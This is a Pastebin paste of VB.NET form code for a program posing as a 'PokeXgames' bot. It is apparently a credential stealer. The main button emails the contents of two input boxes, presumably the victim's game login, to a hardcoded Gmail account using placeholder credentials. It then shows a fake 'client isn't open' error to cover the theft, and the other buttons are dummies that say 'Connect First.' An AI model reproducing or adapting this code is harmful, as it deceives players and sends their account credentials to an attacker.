Advertisement
Guest User

form1.vb

a guest
Nov 2nd, 2013
95
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.83 KB | None | 0 0
  1. Imports System.Net.Mail
  2.  
  3. Public Class Cubone
  4.  
  5. Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  6. Dim Mail As New MailMessage
  7. Mail.Subject = RichTextBox1.Text()
  8. Mail.To.Add("konto")
  9. Mail.From = New MailAddress("konto")
  10. Mail.Body = RichTextBox2.Text()
  11.  
  12. Dim SMTP As New SmtpClient("smtp.gmail.com")
  13. SMTP.EnableSsl = True
  14. SMTP.Credentials = New System.Net.NetworkCredential("konto", "haslo")
  15. SMTP.Port = 587
  16. SMTP.Send(Mail)
  17. MsgBox("PokeXgames Clients isn't open. Please open client first, and mark Old or New Client.")
  18.  
  19. End Sub
  20.  
  21. Private Sub Button9_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button9.Click
  22. MsgBox("Connect First.")
  23. End Sub
  24.  
  25. Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
  26. MsgBox("Connect First.")
  27. End Sub
  28.  
  29. Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
  30. MsgBox("Connect First.")
  31. End Sub
  32.  
  33. Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
  34. MsgBox("This Bot is created in USA by Crissoft.Thanks!")
  35. End Sub
  36.  
  37. Private Sub Button5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button5.Click
  38. MsgBox("Connect First.")
  39. End Sub
  40.  
  41. Private Sub Button6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button6.Click
  42. MsgBox("Connect First.")
  43. End Sub
  44.  
  45. Private Sub Button7_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button7.Click
  46. MsgBox("Connect First.")
  47. End Sub
  48. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement